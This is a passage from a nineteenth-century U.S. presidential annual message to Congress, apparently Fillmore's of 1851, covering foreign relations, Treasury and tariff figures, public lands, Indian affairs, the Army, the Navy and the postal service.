amity.The Turkish Government has expressed its thanks for the kind reception\ngiven to the Sultan's agent, Amin Bey, on the occasion of his recent visit\nto the United States. On the 28th of February last a dispatch was addressed\nby the Secretary of State to Mr. Marsh, the American minister at\nConstantinople, instructing him to ask of the Turkish Government permission\nfor the Hungarians then imprisoned within the dominions of the Sublime\nPorte to remove to this country. On the 3d of March last both Houses of\nCongress passed a resolution requesting the President to authorize the\nemployment of a public vessel to convey to this country Louis Kossuth and\nhis associates in captivity. The instruction above referred to was complied\nwith, and the Turkish Government having released Governor Kossuth and his\ncompanions from prison, on the 10th of September last they embarked on\nboard of the United States steam frigate Mississippi, which was selected to\ncarry into effect the resolution of Congress. Governor Kossuth left the\nMississippi at Gibraltar for the purpose of making a visit to England, and\nmay shortly be expected in New York. By communications to the Department of\nState he has expressed his grateful acknowledgments for the interposition\nof this Government in behalf of himself and his associates. This country\nhas been justly regarded as a safe asylum for those whom political events\nhave exiled from their own homes in Europe. and it is recommended to\nCongress to consider in what manner Governor Kossuth and his companions,\nbrought hither by its authority, shall be received and treated.It is earnestly to be hoped that the differences which have for some time\npast been pending between the Government of the French Republic and that of\nthe Sandwich Islands may be peaceably and durably adjusted so as to secure\nthe independence of those islands. Long before the events which have of\nlate imparted so much importance to the possessions of the United States on\nthe Pacific we acknowledged the independence of the Hawaiian Government.\nThis Government was first in taking that step, and several of the leading\npowers of Europe immediately followed. We were influenced in this measure\nby the existing and prospective importance of the islands as a place of\nrefuge and refreshment for our vessels engaged in the whale fishery, and by\nthe consideration that they lie in the course of the great trade which must\nat no distant day be carried on between the western coast of North America\nand eastern Asia.We were also influenced by a desire that those islands should not pass\nunder the control of any other great maritime state, but should remain in\nan independent condition, and so be accessible and useful to the commerce\nof all nations. I need not say that the importance of these considerations\nhas been greatly enhanced by the sudden and vast development which the\ninterests of the United States have attained in California and Oregon, and\nthe policy heretofore adopted in regard to those islands will be steadily\npursued.It is gratifying, not only to those who consider the commercial interests\nof nations, but also to all who favor the progress of knowledge and the\ndiffusion of religion, to see a community emerge from a savage state and\nattain such a degree of civilization in those distant seas. It is much to\nbe deplored that the internal tranquillity of the Mexican Republic should\nagain be seriously disturbed, for since the peace between that Republic and\nthe United States it had enjoyed such comparative repose that the most\nfavorable anticipations for the future might with a degree of confidence\nhave been indulged. These, however, have been thwarted by the recent\noutbreak in the State of Tamaulipas, on the right bank of the Rio Bravo.\nHaving received information that persons from the United States had taken\npart in the insurrection, and apprehending that their example might be\nfollowed by others, I caused orders to be issued for the purpose of\npreventing any hostile expeditions against Mexico from being set on foot in\nviolation of the laws of the United States. I likewise issued a\nproclamation upon the subject, a copy of which is herewith laid before you.\nThis appeared to be rendered imperative by the obligations of treaties and\nthe general duties of good neighborhood.In my last annual message I informed Congress that citizens of the United\nStates had undertaken the connection of the two oceans by means of a\nrailroad across the Isthmus of Tehuantepec, under a grant of the Mexican\nGovernment to a citizen of that Republic, and that this enterprise would\nprobably be prosecuted with energy whenever Mexico should consent to such\nstipulations with the Government of the United States as should impart a\nfeeling of security to those who should invest their property in the\nenterprise. A convention between the two Governments for the accomplishment\nof that end has been ratified by this Government, and only awaits the\ndecision of the Congress and the Executive of that Republic.Some unexpected difficulties and delays have arisen in the ratification of\nthat convention by Mexico, but it is to be presumed that her decision will\nbe governed by just and enlightened views, as well of the general\nimportance of the object as of her own interests and obligations.In negotiating upon this important subject this Government has had in view\none, and only one, object. That object has been, and is, the construction\nor attainment of a passage from ocean to ocean, the shortest and the best\nfor travelers and merchandise, and equally open to all the world. It has\nsought to obtain no territorial acquisition, nor any advantages peculiar to\nitself; and it would see with the greatest regret that Mexico should oppose\nany obstacle to the accomplishment of an enterprise which promises so much\nconvenience to the whole commercial world and such eminent advantages to\nMexico herself. Impressed with these sentiments and these convictions, the\nGovernment will continue to exert all proper efforts to bring about the\nnecessary arrangement with the Republic of Mexico for the speedy completion\nof the work. For some months past the Republic of Nicaragua has been the\ntheater of one of those civil convulsions from which the cause of free\ninstitutions and the general prosperity and social progress of the States\nof Central America have so often and so severely suffered. Until quiet\nshall have been restored and a government apparently stable shall have been\norganized, no advance can prudently be made in disposing of the questions\npending between the two countries.I am happy to announce that an interoceanic communication from the mouth of\nthe St. John to the Pacific has been so far accomplished as that passengers\nhave actually traversed it and merchandise has been transported over it,\nand when the canal shall have been completed according to the original plan\nthe means of communication will be further improved. It is understood that\na considerable part of the railroad across the Isthmus of Panama has been\ncompleted, and that the mail and passengers will in future be conveyed\nthereon. Whichever of the several routes between the two oceans may\nultimately prove most eligible for travelers to and from the different\nStates on the Atlantic and Gulf of Mexico and our coast on the Pacific,\nthere is little reason to doubt that all of them will be useful to the\npublic, and will liberally reward that individual enterprise by which alone\nthey have been or are expected to be carried into effect. Peace has been\nconcluded between the contending parties in the island of St. Domingo, and,\nit is hoped, upon a durable basis. Such is the extent of our commercial\nrelations with that island that the United States can not fail to feel a\nstrong interest in its tranquillity. The office of commissioner to China\nremains unfilled. Several persons have been appointed, and the place has\nbeen offered to others, all of whom have declined its acceptance on the\nground of the inadequacy of the compensation. The annual allowance by law\nis $6,000, and there is no provision for any outfit. I earnestly recommend\nthe consideration of this subject to Congress. Our commerce with China is\nhighly important, and is becoming more and more so in consequence of the\nincreasing intercourse between our ports on the Pacific Coast and eastern\nAsia. China is understood to be a country in which living is very\nexpensive, and I know of no reason why the American commissioner sent\nthither should not be placed, in regard to compensation, on an equal\nfooting with ministers who represent this country at the Courts of Europe.By reference to the report of the Secretary of the Treasury it will be seen\nthat the aggregate receipts for the last fiscal year amounted to\n$52,312,979.87, which, with the balance in the Treasury on the 1st July,\n1850, gave as the available means for the year the sum of $58,917,524.36.The total expenditures for the same period were $48,005,878.68. The total\nimports for the year ending June 30, 1851, were $215,725,995, of which\nthere were in specie $4,967,901. The exports for the same period were\n$217,517,130, of which there were of domestic products $178,546,555;\nforeign goods reexported, $9,738,695; specie, $29,231,880.Since the 1st of December last the payments in cash on account of the\npublic debt, exclusive of interest, have amounted to $7,501,456.56, which,\nhowever, includes the sum of $3,242,400, paid under the twelfth article of\nthe treaty with Mexico, and the further sum of $2,591,213.45, being the\namount of awards to American citizens under the late treaty with Mexico,\nfor which the issue of stock was authorized, but which was paid in cash\nfrom the Treasury.The public debt on the 20th ultimo, exclusive of the stock authorized to be\nissued to Texas by the act of 9th September, 1850, was $62,560,395.26.The receipts for the next fiscal year are estimated at $51,800,000, which,\nwith the probable unappropriated balance in the Treasury on the 30th June\nnext, will give as the probable available means for that year the sum of\n$63,258,743.09.It has been deemed proper, in view of the large expenditures consequent\nupon the acquisition of territory from Mexico, that the estimates for the\nnext fiscal year should be laid before Congress in such manner as to\ndistinguish the expenditures so required from the otherwise ordinary\ndemands upon the Treasury.The total expenditures for the next fiscal year are estimated at\n$42,892,299.19, of which there is required for the ordinary purposes of the\nGovernment, other than those consequent upon the acquisition of our new\nterritories, and deducting the payments on account of the public debt, the\nsum of $33,343,198.08, and for the purposes connected, directly or\nindirectly, with those territories and in the fulfillment of the\nobligations of the Government contracted in consequence of their\nacquisition the sum of $9,549,101.11.If the views of the Secretary of the Treasury in reference to the\nexpenditures required for these territories shall be met by corresponding\naction on the part of Congress, and appropriations made in accordance\ntherewith, there will be an estimated unappropriated balance in the\nTreasury on the 30th June, 1853, of $20,366,443.90 wherewith to meet that\nportion of the public debt due on the 1st of July following, amounting to\n$6,237,931.35, as well as any appropriations which may be made beyond the\nestimates.In thus referring to the estimated expenditures on account of our newly\nacquired territories, I may express the hope that Congress will concur with\nme in the desire that a liberal course of policy may be pursued toward\nthem, and that every obligation, express or implied, entered into in\nconsequence of their acquisition shall be fulfilled by the most liberal\nappropriations for that purpose.The values of our domestic exports for the last fiscal year, as compared\nwith those of the previous year, exhibit an increase of $43,646,322. At\nfirst view this condition of our trade with foreign nations would seem to\npresent the most flattering hopes of its future prosperity. An examination\nof the details of our exports, however, will show that the increased value\nof our exports for the last fiscal year is to be found in the high price of\ncotton which prevailed during the first half of that year, which price has\nsince declined about one-half.The value of our exports of breadstuffs and provisions, which it was\nsupposed the incentive of a low tariff and large importations from abroad\nwould have greatly augmented, has fallen from $68,701,921 in 1847 to\n$26,051,373 in 1850 and to $21,948,653 in 1851, with a strong probability,\namounting almost to a certainty, of a still further reduction in the\ncurrent year.The aggregate values of rice exported during the last fiscal year, as\ncompared with the previous year, also exhibit a decrease, amounting to\n$460,917, which, with a decline in the values of the exports of tobacco for\nthe same period, make an aggregate decrease in these two articles of\n$1,156,751.The policy which dictated a low rate of duties on foreign merchandise, it\nwas thought by those who promoted and established it, would tend to benefit\nthe farming population of this country by increasing the demand and raising\nthe price of agricultural products in foreign markets.The foregoing facts, however, seem to show incontestably that no such\nresult has followed the adoption of this policy. On the contrary,\nnotwithstanding the repeal of the restrictive corn laws in England, the\nforeign demand for the products of the American farmer has steadily\ndeclined, since the short crops and consequent famine in a portion of\nEurope have been happily replaced by full crops and comparative abundance\nof food.It will be seen by recurring to the commercial statistics for the past year\nthat the value of our domestic exports has been increased in the single\nitem of raw cotton by $40,000,000 over the value of that export for the\nyear preceding. This is not due to any increased general demand for that\narticle, but to the short crop of the preceding year, which created an\nincreased demand and an augmented price for the crop of last year. Should\nthe cotton crop now going forward to market be only equal in quantity to\nthat of the year preceding and be sold at the present prices, then there\nwould be a falling off in the value of our exports for the present fiscal\nyear of at least $40,000,000 compared with the amount exported for the year\nending 30th June, 1851.The production of gold in California for the past year seems to promise a\nlarge supply of that metal from that quarter for some time to come. This\nlarge annual increase of the currency of the world must be attended with\nits usual results. These have been already partially disclosed in the\nenhancement of prices and a rising spirit of speculation and adventure,\ntending to overtrading, as well at home as abroad. Unless some salutary\ncheck shall be given to these tendencies it is to be feared that\nimportations of foreign goods beyond a healthy demand in this country will\nlead to a sudden drain of the precious metals from us, bringing with it, as\nit has done in former times, the most disastrous consequences to the\nbusiness and capital of the American people.The exports of specie to liquidate our foreign debt during the past fiscal\nyear have been $24,963,979 over the amount of specie imported. The exports\nof specie during the first quarter of the present fiscal year have been\n$14,651,827. Should specie continue to be exported at this rate for the\nremaining three quarters of this year, it will drain from our metallic\ncurrency during the year ending 30th June, 1852, the enormous amount of\n$58,607,308.In the present prosperous condition of the national finances it will become\nthe duty of Congress to consider the best mode of paying off the public\ndebt. If the present and anticipated surplus in the Treasury should not be\nabsorbed by appropriations of an extraordinary character, this surplus\nshould be employed in such way and under such restrictions as Congress may\nenact in extinguishing the outstanding debt of the nation.By reference to the act of Congress approved 9th September, 1850, it will\nbe seen that, in consideration of certain concessions by the State of\nTexas, it is provided that--The United States shall pay to the State of Texas the sum of $10,000,000 in\na stock bearing 5 per cent interest and redeemable at the end of fourteen\nyears, the interest payable half-yearly at the Treasury of the United\nStates.In the same section of the law it is further provided--That no more than five millions of said stock shall be issued until the\ncreditors of the State holding bonds and other certificates of stock of\nTexas, for which duties on imports were specially pledged, shall first file\nat the Treasury of the United States releases of all claims against the\nUnited States for or on account of said bonds or certificates, in such form\nas shall be prescribed by the Secretary of the Treasury and approved by the\nPresident of the United States.The form of release thus provided for has been prescribed by the Secretary\nof the Treasury and approved. It has been published in all the leading\nnewspapers in the commercial cities of the United States, and all persons\nholding claims of the kind specified in the foregoing proviso were required\nto file their releases (in the form thus prescribed) in the Treasury of the\nUnited States on or before the 1st day of October, 1851. Although this\npublication has been continued from the 25th day of March, 1851, yet up to\nthe 1st of October last comparatively few releases had been filed by the\ncreditors of Texas.The authorities of the State of Texas, at the request of the Secretary of\nthe Treasury, have furnished a schedule of the public debt of that State\ncreated prior to her admission into the Union, with a copy of the laws\nunder which each class was contracted. I have, from the documents furnished\nby the State of Texas, determined the classes of claims which in my\njudgment fall within the provisions of the act of Congress of the 9th of\nSeptember, 1850.On being officially informed of the acceptance by Texas of the propositions\ncontained in the act referred to I caused the stock to be prepared, and the\nfive millions which are to be issued unconditionally, bearing an interest\nof 5 per cent from the 1st day of January, 1851, have been for some time\nready to be delivered to the State of Texas. The authorities of Texas up to\nthe present time have not authorized anyone to receive this stock, and it\nremains in the Treasury Department subject to the order of Texas. The\nreleases required by law to be deposited in the Treasury not having been\nfiled there, the remaining five millions have not been issued. This last\namount of the stock will be withheld from Texas until the conditions upon\nwhich it is to be delivered shall be complied with by the creditors of that\nState, unless Congress shall otherwise direct by a modification of the\nlaw.In my last annual message, to which I respectfully refer, I stated briefly\nthe reasons which induced me to recommend a modification of the present\ntariff by converting the ad valorem into a specific duty wherever the\narticle imported was of such a character as to permit it, and that such a\ndiscrimination should be made in favor of the industrial pursuits of our\nown country as to encourage home production without excluding foreign\ncompetition.The numerous frauds which continue to be practiced upon the revenue by\nfalse invoices and undervaluations constitute an unanswerable reason for\nadopting specific instead of ad valorem duties in all cases where the\nnature of the commodity does not forbid it. A striking illustration of\nthese frauds will be exhibited in the report of the Secretary of the\nTreasury, showing the custom-house valuation of articles imported under a\nformer law, subject to specific duties, when there was no inducement to\nundervaluation, and the custom-house valuations of the same articles under\nthe present system of ad valorem duties, so greatly reduced as to leave no\ndoubt of the existence of the most flagrant abuses under the existing laws.\nThis practical evasion of the present law, combined with the languishing\ncondition of some of the great interests of the country, caused by over\nimportations and consequent depressed prices, and with the failure in\nobtaining a foreign market for our increasing surplus of breadstuffs and\nprovisions, has induced me again to recommend a modification of the\nexisting tariff. The report of the Secretary of the Interior, which\naccompanies this communication, will present a condensed statement of the\noperations of that important Department of the Government.It will be seen that the cash sales of the public lands exceed those of the\npreceding year, and that there is reason to anticipate a still further\nincrease, notwithstanding the large donations which have been made to many\nof the States and the liberal grants to individuals as a reward for\nmilitary services. This fact furnishes very gratifying evidence of the\ngrowing wealth and prosperity of our country.Suitable measures have been adopted for commencing the survey of the public\nlands in California and Oregon. Surveying parties have been organized and\nsome progress has been made in establishing the principal base and meridian\nlines. But further legislation and additional appropriations will be\nnecessary before the proper subdivisions can be made and the general land\nsystem extended over those remote parts of our territory.On the 3d of March last an act was passed providing for the appointment of\nthree commissioners to settle private land claims in California. Three\npersons were immediately appointed, all of whom, however, declined\naccepting the office in consequence of the inadequacy of the compensation.\nOthers were promptly selected, who for the same reason also declined, and\nit was not until late in the season that the services of suitable persons\ncould be secured. A majority of the commissioners convened in this city on\nthe 10th of September last, when detailed instructions were given to them\nin regard to their duties. Their first meeting for the transaction of\nbusiness will be held in San Francisco on the 8th day of the present\nmonth.I have thought it proper to refer to these facts, not only to explain the\ncauses of the delay in filling the commission, but to call your attention\nto the propriety of increasing the compensation of the commissioners. The\noffice is one of great labor and responsibility, and the compensation\nshould be such as to command men of a high order of talents and the most\nunquestionable integrity.The proper disposal of the mineral lands of California is a subject\nsurrounded by great difficulties. In my last annual message I recommended\nthe survey and sale of them in small parcels under such restrictions as\nwould effectually guard against monopoly and speculation; but upon further\ninformation, and in deference to the opinions of persons familiar with the\nsubject, I am inclined to change that recommendation and to advise that\nthey be permitted to remain as at present, a common field, open to the\nenterprise and industry of all our citizens, until further experience shall\nhave developed the best policy to be ultimately adopted in regard to them.\nIt is safer to suffer the inconveniences that now exist for a short period\nthan by premature legislation to fasten on the country a system founded in\nerror, which may place the whole subject beyond the future control of\nCongress.The agricultural lands should, however, be surveyed and brought into market\nwith as little delay as possible, that the titles may become settled and\nthe inhabitants stimulated to make permanent improvements and enter on the\nordinary pursuits of life. To effect these objects it is desirable that the\nnecessary provision be made by law for the establishment of land offices in\nCalifornia and Oregon and for the efficient prosecution of the surveys at\nan early day.Some difficulties have occurred in organizing the Territorial governments\nof New Mexico and Utah, and when more accurate information shall be\nobtained of the causes a further communication will be made on that\nsubject.In my last annual communication to Congress I recommended the establishment\nof an agricultural bureau, and I take this occasion again to invoke your\nfavorable consideration of the subject.Agriculture may justly be regarded as the great interest of our people.\nFour-fifths of our active population are employed in the cultivation of the\nsoil, and the rapid expansion of our settlements over new territory is\ndaily adding to the number of those engaged in that vocation. Justice and\nsound policy, therefore, alike require that the Government should use all\nthe means authorized by the Constitution to promote the interests and\nwelfare of that important class of our fellow-citizens. And yet it is a\nsingular fact that whilst the manufacturing and commercial interests have\nengaged the attention of Congress during a large portion of every session\nand our statutes abound in provisions for their protection and\nencouragement, little has yet been done directly for the advancement of\nagriculture. It is time that this reproach to our legislation should be\nremoved, and I sincerely hope that the present Congress will not close\ntheir labors without adopting efficient means to supply the omissions of\nthose who have preceded them.An agricultural bureau, charged with the duty of collecting and\ndisseminating correct information as to the best modes of cultivation and\nof the most effectual means of preserving and restoring the fertility of\nthe soil and of procuring and distributing seeds and plants and other\nvegetable productions, with instructions in regard to the soil, climate,\nand treatment best adapted to their growth, could not fail to be, in the\nlanguage of Washington in his last annual message to Congress, a \"very\ncheap instrument of immense national benefit.\"Regarding the act of Congress approved 28th September, 1850, granting\nbounty lands to persons who had been engaged in the military service of the\ncountry, as a great measure of national justice and munificence, an anxious\ndesire has been felt by the officers intrusted with its immediate execution\nto give prompt effect to its provisions. All the means within their control\nwere therefore brought into requisition to expedite the adjudication of\nclaims, and I am gratified to be able to state that near 100,000\napplications have been considered and about 70,000 warrants issued within\nthe short space of nine months. If adequate provision be made by law to\ncarry into effect the recommendations of the Department, it is confidently\nexpected that before the close of the next fiscal year all who are entitled\nto the benefits of the act will have received their warrants.The Secretary of the Interior has suggested in his report various\namendments of the laws relating to pensions and bounty lands for the\npurpose of more effectually guarding against abuses and frauds on the\nGovernment, to all of which I invite your particular attention. The large\naccessions to our Indian population consequent upon the acquisition of New\nMexico and California and the extension of our settlements into Utah and\nOregon have given increased interest and importance to our relations with\nthe aboriginal race. No material change has taken place within the last\nyear in the condition and prospects of the Indian tribes who reside in the\nNorthwestern Territory and west of the Mississippi River. We are at peace\nwith all of them, and it will be a source of pleasure to you to learn that\nthey are gradually advancing in civilization and the pursuits of social\nlife.Along the Mexican frontier and in California and Oregon there have been\noccasional manifestations of unfriendly feeling and some depredations\ncommitted. I am satisfied, however, that they resulted more from the\ndestitute and starving condition of the Indians than from any settled\nhostility toward the whites. As the settlements of our citizens progress\ntoward them, the game, upon which they mainly rely for subsistence, is\ndriven off or destroyed, and the only alternative left to them is\nstarvation or plunder. It becomes us to consider, in view of this condition\nof things, whether justice and humanity, as well as an enlightened economy,\ndo not require that instead of seeking to punish them for offenses which\nare the result of our own policy toward them we should not provide for\ntheir immediate wants and encourage them to engage in agriculture and to\nrely on their labor instead of the chase for the means of support.Various important treaties have been negotiated with different tribes\nduring the year, by which their title to large and valuable tracts of\ncountry has been extinguished, all of which will at the proper time be\nsubmitted to the Senate for ratification.The joint commission under the treaty of Guadalupe Hidalgo has been\nactively engaged in running and marking the boundary line between the\nUnited States and Mexico. It was stated in the last annual report of the\nSecretary of the Interior that the initial point on the Pacific and the\npoint of junction of the Gila with the Colorado River had been determined\nand the intervening line, about 150 miles in length, run and marked by\ntemporary monuments. Since that time a monument of marble has been erected\nat the initial point, and permanent landmarks of iron have been placed at\nsuitable distances along the line.The initial point on the Rio Grande has also been fixed by the\ncommissioners, at latitude 32 degrees 22', and at the date of the last\ncommunication the survey of the line had been made thence westward about\n150 miles to the neighborhood of the copper mines. The commission on our\npart was at first organized on a scale which experience proved to be\nunwieldy and attended with unnecessary expense. Orders have therefore been\nissued for the reduction of the number of persons employed within the\nsmallest limits consistent with the safety of those engaged in the service\nand the prompt and efficient execution of their important duties.Returns have been received from all the officers engaged in taking the\ncensus in the States and Territories except California. The superintendent\nemployed to make the enumeration in that State has not yet made his full\nreport, from causes, as he alleges, beyond his control. This failure is\nmuch to be regretted, as it has prevented the Secretary of the Interior\nfrom making the decennial apportionment of Representatives among the\nStates, as required by the act approved May 23, 1850. It is hoped, however,\nthat the returns will soon be received, and no time will then be lost in\nmaking the necessary apportionment and in transmitting the certificates\nrequired by law.The Superintendent of the Seventh Census is diligently employed, under the\ndirection of the Secretary of the Interior, in classifying and arranging in\ntabular form all the statistical information derived from the returns of\nthe marshals, and it is believed that when the work shall be completed it\nwill exhibit a more perfect view of the population, wealth, occupations,\nand social condition of a great country than has ever been presented to the\nworld. The value of such a work as the basis of enlightened legislation can\nhardly be overestimated, and I earnestly hope that Congress will lose no\ntime in making the appropriations necessary to complete the classifications\nand to publish the results in a style worthy of the subject and of our\nnational character.The want of a uniform fee bill, prescribing the compensation to be allowed\ndistrict attorneys, clerks, marshals, and commissioners in civil and\ncriminal cases, is the cause of much vexation, injustice, and complaint. I\nwould recommend a thorough revision of the laws on the whole subject and\nthe adoption of a tariff of fees which, as far as practicable, should be\nuniform, and prescribe a specific compensation for every service which the\nofficer may be required to perform. This subject will be fully presented in\nthe report of the Secretary of the Interior. In my last annual message I\ngave briefly my reasons for believing that you possessed the constitutional\npower to improve the harbors of our Great Lakes and seacoast and the\nnavigation of our principal rivers, and recommended that appropriations\nshould be made for completing such works as had already been commenced and\nfor commencing such others as might seem to the wisdom of Congress to be of\npublic and general importance. Without repeating the reasons then urged, I\ndeem it my duty again to call your attention to this important subject. The\nworks on many of the harbors were left in an unfinished state, and\nconsequently exposed to the action of the elements, which is fast\ndestroying them. Great numbers of lives and vast amounts of property are\nannually lost for want of safe and convenient harbors on the Lakes. None\nbut those who have been exposed to that dangerous navigation can fully\nappreciate the importance of this subject. The whole Northwest appeals to\nyou for relief, and I trust their appeal will receive due consideration at\nyour hands.The same is in a measure true in regard to some of the harbors and inlets\non the seacoast.The unobstructed navigation of our large rivers is of equal importance. Our\nsettlements are now extending to the sources of the great rivers which\nempty into and form a part of the Mississippi, and the value of the public\nlands in those regions would be greatly enhanced by freeing the navigation\nof those waters from obstructions. In view, therefore, of this great\ninterest, I deem it my duty again to urge upon Congress to make such\nappropriations for these improvements as they may deem necessary.The surveys of the Delta of the Mississippi, with a view to the prevention\nof the overflows that have proved so disastrous to that region of country,\nhave been nearly completed, and the reports thereof are now in course of\npreparation and will shortly be laid before you.The protection of our southwestern frontier and of the adjacent Mexican\nStates against the Indian tribes within our border has claimed my earnest\nand constant attention. Congress having failed at the last session to adopt\nmy recommendation that an additional regiment of mounted men specially\nadapted to that service should be raised, all that remained to be done was\nto make the best use of the means at my disposal. Accordingly, all the\ntroops adapted to that service that could properly be spared from other\nquarters have been concentrated on that frontier and officers of high\nreputation selected to command them. A new arrangement of the military\nposts has also been made, whereby the troops are brought nearer to the\nMexican frontier and to the tribes they are intended to overawe.Sufficient time has not yet elapsed to realize all the benefits that are\nexpected to result from these arrangements, but I have every reason to hope\nthat they will effectually check their marauding expeditions. The nature of\nthe country, which furnishes little for the support of an army and abounds\nin places of refuge and concealment, is remarkably well adapted to this\npredatory warfare, and we can scarcely hope that any military force,\ncombined with the greatest vigilance, can entirely suppress it.By the treaty of Guadalupe Hidalgo we are bound to protect the territory of\nMexico against the incursions of the savage tribes within our border \"with\nequal diligence and energy\" as if the same were made within our territory\nor against our citizens. I have endeavored to comply as far as possible\nwith this provision of the treaty. Orders have been given to the officers\ncommanding on that frontier to consider the Mexican territory and its\ninhabitants as equally with our own entitled to their protection, and to\nmake all their plans and arrangements with a view to the attainment of this\nobject. Instructions have also been given to the Indian commissioners and\nagents among these tribes in all treaties to make the clauses designed for\nthe protection of our own citizens apply also to those of Mexico. I have no\nreason to doubt that these instructions have been fully carried into\neffect; nevertheless, it is probable that in spite of all our efforts some\nof the neighboring States of Mexico may have suffered, as our own have,\nfrom depredations by the Indians.To the difficulties of defending our own territory, as above mentioned, are\nsuperadded, in defending that of Mexico, those that arise from its\nremoteness, from the fact that we have no right to station our troops\nwithin her limits and that there is no efficient military force on the\nMexican side to cooperate with our own.So long as this shall continue to be the case the number and activity of\nour troops will rather increase than diminish the evil, as the Indians will\nnaturally turn toward that country where they encounter the least\nresistance. Yet these troops are necessary to subdue them and to compel\nthem to make and observe treaties. Until this shall have been done neither\ncountry will enjoy any security from their attacks.The Indians in California, who had previously appeared of a peaceable\ncharacter and disposed to cultivate the friendship of the whites, have\nrecently committed several acts of hostility. As a large portion of the\nreenforcements sent to the Mexican frontier were drawn from the Pacific,\nthe military force now stationed there is considered entirely inadequate to\nits defense. It can not be increased, however, without an increase of the\nArmy, and I again recommend that measure as indispensable to the protection\nof the frontier.I invite your attention to the suggestions on this subject and on others\nconnected with his Department in the report of the Secretary of War. The\nappropriations for the support of the Army during the current fiscal year\nending 30th June next were reduced far below the estimate submitted by the\nDepartment. The consequence of this reduction is a considerable deficiency,\nto which I invite your early attention. The expenditures of that Department\nfor the year ending 30th June last were $9,060,268.58, The estimates for\nthe year commencing 1st July next and ending June 30, 1853, are\n$7,898,775.83, showing a reductions of $1,161,492.75, The board of\ncommissioners to whom the management of the affairs of the military asylum\ncreated by the act of 3d March last was intrusted have selected a site for\nthe establishment of an asylum in the vicinity of this city, which has been\napproved by me subject to the production of a satisfactory title.The report of the Secretary of the Navy will exhibit the condition of the\npublic service under the supervision of that Department. Our naval force\nafloat during the present year has been actively and usefully employed in\ngiving protection to our widely extended and increasing commerce and\ninterests in the various quarters of the globe, and our flag has everywhere\nafforded the security and received the respect inspired by the justice and\nliberality of our intercourse and the dignity and power of the nation.The expedition commanded by Lieutenant De Haven, dispatched in search of\nthe British commander Sir John Franklin and his companions in the Arctic\nSeas, returned to New York in the month of October, after having undergone\ngreat peril and suffering from an unknown and dangerous navigation and the\nrigors of a northern climate, without any satisfactory information of the\nobjects of their search, but with new contributions to science and\nnavigation from the unfrequented polar regions. The officers and men of the\nexpedition having been all volunteers for this service and having so\nconducted it as to meet the entire approbation of the Government, it is\nsuggested, as an act of grace and generosity, that the same allowance of\nextra pay and emoluments be extended to them that were made to the officers\nand men of like rating in the late exploring expedition to the South Seas.I earnestly recommend to your attention the necessity of reorganizing the\nnaval establishment, apportioning and fixing the number of officers in each\ngrade, providing some mode of promotion to the higher grades of the Navy\nhaving reference to merit and capacity rather than seniority or date of\nentry into the service, and for retiring from the effective list upon\nreduced pay those who may be incompetent to the performance of active duty.\nAs a measure of economy, as well as of efficiency, in this arm of the\nservice, the provision last mentioned is eminently worthy of your\nconsideration.The determination of the questions of relative rank between the sea\nofficers and civil officers of the Navy, and between officers of the Army\nand Navy, in the various grades of each, will also merit your attention.\nThe failure to provide any substitute when corporal punishment was\nabolished for offenses in the Navy has occasioned the convening of numerous\ncourts-martial upon the arrival of vessels in port, and is believed to have\nhad an injurious effect upon the discipline and efficiency of the service.\nTo moderate punishment from one grade to another is among the humane\nreforms of the age, but to abolish one of severity, which applied so\ngenerally to offenses on shipboard, and provide nothing in its stead is to\nsuppose a progress of improvement in every individual among seamen which is\nnot assumed by the Legislature in respect to any other class of men. It is\nhoped that Congress, in the ample opportunity afforded by the present\nsession, will thoroughly investigate this important subject, and establish\nsuch modes of determining guilt and such gradations of punishment as are\nconsistent with humanity and the personal rights of individuals, and at the\nsame time shall insure the most energetic and efficient performance of duty\nand the suppression of crime in our ships of war.The stone dock in the navy-yard at New York, which was ten years in process\nof construction, has been so far finished as to be surrendered up to the\nauthorities of the yard. The dry dock at Philadelphia is reported as\ncompleted, and is expected soon to be tested and delivered over to the\nagents of the Government. That at Portsmouth, N. H., is also nearly ready\nfor delivery; and a contract has been concluded, agreeably to the act of\nCongress at its last session, for a floating sectional dock on the Bay of\nSan Francisco. I invite your attention to the recommendation of the\nDepartment touching the establishment of a navy-yard in conjunction with\nthis dock on the Pacific. Such a station is highly necessary to the\nconvenience and effectiveness of our fleet in that ocean, which must be\nexpected to increase with the growth of commerce and the rapid extension of\nour whale fisheries over its waters.The Naval Academy at Annapolis, under a revised and improved system of\nregulations, now affords opportunities of education and instruction to the\npupils quite equal, it is believed, for professional improvement, to those\nenjoyed by the cadets in the Military Academy. A large class of acting\nmidshipmen was received at the commencement of the last academic term, and\na practice ship has been attached to the institution to afford the amplest\nmeans for regular instruction in seamanship, as well as for cruises during\nthe vacations of three or four months in each year.The advantages of science in nautical affairs have rarely been more\nstrikingly illustrated than in the fact, stated in the report of the Navy\nDepartment, that by means of the wind and current charts projected and\nprepared by Lieutenant Maury, the Superintendent of the Naval Observatory,\nthe passage from the Atlantic to the Pacific ports of our country has been\nshortened by about forty days.The estimates for the support of the Navy and Marine Corps the ensuing\nfiscal year will be found to be $5,856,472.19, the estimates for the\ncurrent year being $5,900,621.The estimates for special objects under the control of this Department\namount to $2,684,220.89, against $2,210,980 for the present year, the\nincrease being occasioned by the additional mail service on the Pacific\nCoast and the construction of the dock in California, authorized at the\nlast session of Congress, and some slight additions under the head of\nimprovements and repairs in navy-yards, buildings, and machinery. I deem it\nof much importance to a just economy and a correct understanding of naval\nexpenditures that there should be an entire separation of the\nappropriations for the support of the naval service proper from those for\npermanent improvements at navy-yards and stations and from ocean steam mail\nservice and other special objects assigned to the supervision of this\nDepartment.The report of the Postmaster-General, herewith communicated, presents an\ninteresting view of the progress, operations, and condition of his\nDepartment.At the close of the last fiscal year the length of mail routes within the\nUnited States was 196,290 miles, the annual transportation thereon\n53,272,252 miles, and the annual cost of such transportation $3,421,754.The length of the foreign mail routes is estimated at 18,349 miles and the\nannual transportation thereon at 615,206 miles. The annual cost of this\nservice is $1,472,187, of which $448,937 are paid by the Post-Office\nDepartment and $1,023,250 are paid through the Navy Department.The annual transportation within the United States, excluding the service\nin California and Oregon, which is now for the first time reported and\nembraced in the tabular statements of the Department, exceeds that of the\npreceding year 6,162,855 miles, at an increased cost of $547,110.The whole number of post-offices in the United States on the 30th day of\nJune last was 19,796. There were 1,698 post-offices established and 256\ndiscontinued during the year.The gross revenues of the Department for the fiscal year, including the\nappropriations for the franked matter of Congress, of the Departments, and\nofficers of Government, and excluding the foreign postages collected for\nand payable to the British post-office, amounted to $6,727,866.78.The expenditures for the same period, excluding $20,599.49, paid under an\naward of the Auditor, in pursuance of a resolution of the last Congress,\nfor mail service on the Ohio and Mississippi rivers in 1832 and 1833, and\nthe amount paid to the British post-office for foreign postages collected\nfor and payable to that office, amounted 